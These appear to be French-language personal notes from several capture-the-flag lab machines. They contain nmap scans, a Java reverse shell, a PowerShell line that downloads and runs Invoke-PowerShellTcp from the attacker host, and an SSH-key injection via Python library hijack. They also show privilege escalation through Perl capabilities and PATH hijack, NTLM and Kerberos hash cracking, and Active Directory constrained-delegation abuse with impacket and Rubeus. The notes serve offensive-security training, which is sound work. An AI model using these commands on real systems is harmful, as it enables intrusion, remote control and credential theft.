
sudo nmap -sVC -p- -Pn 10.10.130.192 --open 
[sudo] Mot de passe de alice : 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-25 20:28 CEST
Nmap scan report for 10.10.130.192
Host is up (0.030s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
3389/tcp open  ms-wbt-server Microsoft Terminal Service
|_ssl-date: 2025-09-25T18:31:00+00:00; -13s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: ALFRED
|   NetBIOS_Domain_Name: ALFRED
|   NetBIOS_Computer_Name: ALFRED
|   DNS_Domain_Name: alfred
|   DNS_Computer_Name: alfred
|   Product_Version: 6.1.7601
|_  System_Time: 2025-09-25T18:30:56+00:00
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2025-09-24T17:35:22
|_Not valid after:  2026-03-26T17:35:22
8080/tcp open  http          Jetty 9.4.z-SNAPSHOT
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -12s, deviation: 0s, median: -13s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 156.37 seconds

Alfred
jeudi 25 septembre 2025 19:34

   Challenge Page 1    

https://nmap.org
https://nmap.org/submit/


Admin : admin 

   Challenge Page 2    



String host="10.11.116.117";int port=443;String cmd="cmd.exe";Process p=new 
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream 
pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream 
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)
so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)
po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};p.destroy();s.close();

Initial admin password : 

44b934851a1b4275a4b23864b35eb382

Je n'arrive pas avoir un bon Shell donc je vais utiliser Invoke-PowerShellTcp 

powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.116.117/Invoke-
PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.116.117 -Port 443
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Wonderland
lundi 29 septembre 2025 23:06
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alice:HowDothTheLittleCrocodileImproveHisShiningTail

usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
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python3 -c 'import sys; print(sys.path)'
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Dans le random.py on met : 
import os
os.system('mkdir -p /home/rabbit/.ssh && cat /home/alice/id_rsa.pub >> 
/home/rabbit/.ssh/authorized_keys')
os.system('chmod 700 /home/rabbit/.ssh && chmod 600 /home/rabbit/.ssh/authorized_keys')
print('Exploit successful: ssh key injected.')

On doit créer une persistance pour le user rabbit pour ensuite transférer un fichier avec scp : 
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On a un executable en elf donc on l'ouvre avec ghidra. 

On convertie le code en asm en c pour mieux le lire. Et on voit la fonction main : 

Les premières lignes donne le droits du programme en 1003 ce qui correspond au user 
Hatter. Donc quand le programme est exécuté, il s'exécute en tant que Hatter. 

On remarque aussi que pour lancer la commande date, le programme ne prend pas le chemin 
absolue cad /bin/date. 

Donc ça veut dire que le programme va chercher dans le PATH pour savoir dans quel dossier le 
programme date pourrait être. 

Donc ce qu'on peut faire c'est créer notre propre programme date et mettre un shell dedans.
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Et hop on est le hatter. 

Hatter : WhyIsARavenLikeAWritingDesk?

On se connecte en ssh : 

On peut devenir root en utilisant le capabilités avec perl qu'on a vu tout à l'heure avec linpeas : 
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Root.txt : 

User.txt
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sudo nmap -sVC -p- -Pn 10.10.246.170 --open 
[sudo] Mot de passe de alice : 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-04 20:42 CEST
Nmap scan report for 10.10.246.170
Host is up (0.10s latency).
Not shown: 65500 closed tcp ports (reset), 33 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 87:17:15:73:be:05:54:ea:d1:52:f9:24:f0:7a:d7:c5 (RSA)
|   256 0d:83:14:61:67:be:24:56:d2:79:ae:25:18:21:6d:4c (ECDSA)
|_  256 a5:7b:3f:da:3b:90:4c:e6:df:4e:6d:8c:cb:07:ee:ae (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: HackIT - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.67 seconds
                                                              

Rootme
samedi 4 octobre 2025 20:48
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On change le .php en .php7 : 
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Ça ne fonctionne pas donc on va uploader une backdoor.
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sudo nmap -sVC -p- -Pn 10.10.36.246 --open 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 15:47 CEST
Nmap scan report for 10.10.36.246
Host is up (0.029s latency).
Not shown: 61672 closed tcp ports (reset), 3846 filtered tcp ports (no -response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.57 ((Win64))
|_http-server-header: Apache/2.4.57 (Win64)
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-05T13:48:46+00:00; -31s from scanner time.
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2025-10-04T13:44:45
|_Not valid after:  2026-04-05T13:44:45
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2025-10-05T13:48:38+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
61777/tcp open  http          Jetty 8.y.z-SNAPSHOT
|_http-title: Site doesn't have a title (text/plain).
|_http-cors: HEAD GET
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
| http-methods: 
|_  Potentially risky methods: PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -31s, deviation: 0s, median: -31s
| smb2-time: 
|   date: 2025-10-05T13:48:40
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.64 seconds

CyberLens
dimanche 5 octobre 2025 15:44
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https://www.exploit-db.com/exploits/47208

   Challenge Page 18    

https://www.exploit-db.com/exploits/47208


   Challenge Page 19    



   Challenge Page 20    



sudo nmap -sVC -p- -Pn 10.10.23.241 --open 
[sudo] Mot de passe de alice : 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-07 15:41 CEST
Nmap scan report for 10.10.23.241
Host is up (0.037s latency).
Not shown: 65513 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-07 13:51:23Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: 
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: 
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-07T13:52:51+00:00; -34s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: HAYSTACK
|   DNS_Domain_Name: thm.corp
|   DNS_Computer_Name: HayStack.thm.corp
|   DNS_Tree_Name: thm.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2025-10-07T13:52:11+00:00
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2025-10-06T13:36:34
|_Not valid after:  2026-04-07T13:36:34
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
9389/tcp  open  mc-nmf        .NET Message Framing
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
50319/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-10-07T13:52:12
|_  start_date: N/A
|_clock-skew: mean: -33s, deviation: 0s, median: -34s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 686.53 seconds

Reset
mardi 7 octobre 2025 15:36
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On voit un haystack 
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ResetMe123!
ON ARRIVE PAS A SE CONNECTER AVEC 

Ça ne fonctionne pas donc on va utiliser ntlm_theft : (je pense que c'est parce que j'ai mis eth0 et 
pas tun0) 
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On va transférer autorun.inf dans le partage SMB : 

hashcat -m 5600 hash_ntlm /usr/share/wordlists/rockyou.txt.gz --force 

AUTOMATE:Passw0rd1
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sudo impacket-GetNPUsers thm.corp/ -usersfile user -dc-ip 10.10.23.241
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sudo hashcat -m 18200 hash_kerberos /usr/share/wordlists/rockyou.txt.gz -r 
/usr/share/hashcat/rules/best64.rule --force

marlboro(1985) : TABATHA_BRITT@THM.CORP
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Tabattha --> generic all -->  shawna --> force change password --> Cruz --> 
force change password --> darla --> AllowedToDelegate --> 
Haystack.thm.corp

SHAWNA_BRAY@THM.CORP

net rpc password "SHAWNA_BRAY" "caca123**" -U 
"THM.CORP"/"TABATHA_BRITT"%"marlboro(1985)" -S "HayStack.thm.corp"

https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-
kerberos-constrained-delegation

https://bloodhound.specterops.io/resources/edges/allowed-to-delegate

https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13
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cifs/HayStack.thm.corp/thm.corp

# ticket is the base64 ticket we get with `rubeus's tgtdeleg`
Rubeus.exe s4u 
/ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9
DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQ
KiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aE
lgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3
+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g3
8hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDV
ESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3nd1Klmc+xDnLSC11ay7I8VevqhCBCZ64c+HQow4qc
MTa/agxyOXqK42ynUl0GJtrLV7nIIrp+J2e5PECDUXIjKFkGnp6HZDNfzYAGL3XxyyT2JYdneOS3VUzJQyEc
tjuQMdVA0wB8NrRqDVdqSNBSOyBwpB3/FWzdHNYxztRmVT+Yz6qJCU4SYHIzHUE5dqHjvhjPSwgAkh
S/QNApxtWvyba8iwCSnyualuhK46LS0pkt1IIQT0Y+qw80oL6mzjD+rxfKgR4B9hI6Imw9zTT5rjlRNMjWE
y78izLtRB+ulzqdkZCUMA6zswWjq1BTmWzZX0LAZ+QAWQJPzoRVsqOcZCZwo/aWwmO1s9v5TLRRML
TAvk16PQW3z9NHix2Io9sObH8cb7gVrB+u2Q545Qwekl0uwP5mCar6swU2oEkxBm5DZvLsbZTcGl+Kz
Gxqq/zhEJm3EceLuwIY81z8aYu13c6AsYETs9VevdEVysylpNL7EcHu8iXsoE5JmLx7OrcPR9WfeFWxRDp
+1CVDijOI5VOS51
+JpkEvcXFmfZueqLTJ66VGJgQaP7A3B//Y40ur5nSXyvEmIKgzdeqPLpGa5GPiNs/rYFmMlxwEX+yVFB5b
PYgoszr3Crjsvs6Q/vdr36NoWqI9/11Nurzeeknt+k8sUV26URnQVkecW4yJFQ2TZwYCJ1k9h4cr96csJ9H
hJO46UBye/8oqlqJXKnYY3JpaZiXWK77kG7BqhM6oPl+oEIbX2ycj/gHesxREvP7/vYINk33KbOSxXTAi3Je
3wbZP7N+3B9Lz04m8Xi6nGeIVsZiMyODpnJVX5Bgq+
3cGaSty0v+fIfqMHDwuKhOS7h1MGLJduhWh3b21ytDfzn73yyCPskFee2ckAomlAgxMzg8ZatmZDLTxfU
enJ+EnrJgkYee6OB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEIN2JDvcjQ
ZeMR+
7giMsawE1vG/Cmw9IFIV7ZYwaELMqaoQ8bDU9GRkVOU0UuTE9DQUyiETAPoAMCAQGhCDAGGwRzc
G90owcDBQBgoQAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgP
MjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU
9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local 
/msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt

Trop galère avec rubeus donc on va utiliser  linux directement: 

impacket-getST -spn cifs/HayStack.thm.corp -dc-ip 10.10.200.9 -impersonate Administrator 
thm.corp/DARLA_WINTERS:'newP@ssword2022'

On va faire l'attasque de unconstrained deleguatioon 

Ensuite on exporte le fichier : 

export KRB5CCNAME=Administrator.ccache

Ensuite on peut dumper le SAM : 

impacket-secretsdump -k -no-pass HayStack.thm.corp

Le secret dump ne fonctionne pas pour moi donc je fais une autre technique : 

Bref ici ce qu'on fait c'est qu'on va créer un ticket 

Darla Williams have (allowed to delegate) special permissions on HAYSTACK.THM.CORP which is our 
targets endpoint.
So we can impersonate the user administrator in that target host endpoint, will use impacket -getST 
to impersonate as an administrator.
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Et hop !
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sudo nmap -sVC -p- -Pn 10.10.8.103 --open   
[sudo] Mot de passe de alice : 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-08 14:29 CEST
Nmap scan report for 10.10.8.103
Host is up (0.045s latency).
Not shown: 65515 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-08 12:42:12Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: corp.local0., Site: 
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: corp.local0., Site: 
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=omega.corp.local
| Not valid before: 2025-10-07T12:27:54
|_Not valid after:  2026-04-08T12:27:54
| rdp-ntlm-info: 
|   Target_Name: CORP
|   NetBIOS_Domain_Name: CORP
|   NetBIOS_Computer_Name: OMEGA
|   DNS_Domain_Name: corp.local
|   DNS_Computer_Name: omega.corp.local
|   DNS_Tree_Name: corp.local
|   Product_Version: 10.0.17763
|_  System_Time: 2025-10-08T12:43:00+00:00
|_ssl-date: 2025-10-08T12:43:40+00:00; -36s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49695/tcp open  msrpc         Microsoft Windows RPC
58753/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: OMEGA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-10-08T12:43:01
|_  start_date: N/A
|_clock-skew: mean: -36s, deviation: 0s, median: -37s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 883.78 seconds

Username: corp\dark
Password: _QuejVudId6

Corp
mercredi 8 octobre 2025 14:24
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setspn -T medin -Q */*

Invoke-kerberoasting ne fonctionne pas donc j'ai utilisé Rubeus à la place : 
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Fela : rubenF124
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Pour utiliser powerup : 

powershell -ep bypass

Import-Module PowerUp.ps1

. .\PowerUp.ps1

Invoke-AllChecks

j'ai eu pas mal de pb avec le mdp (escape characters) 
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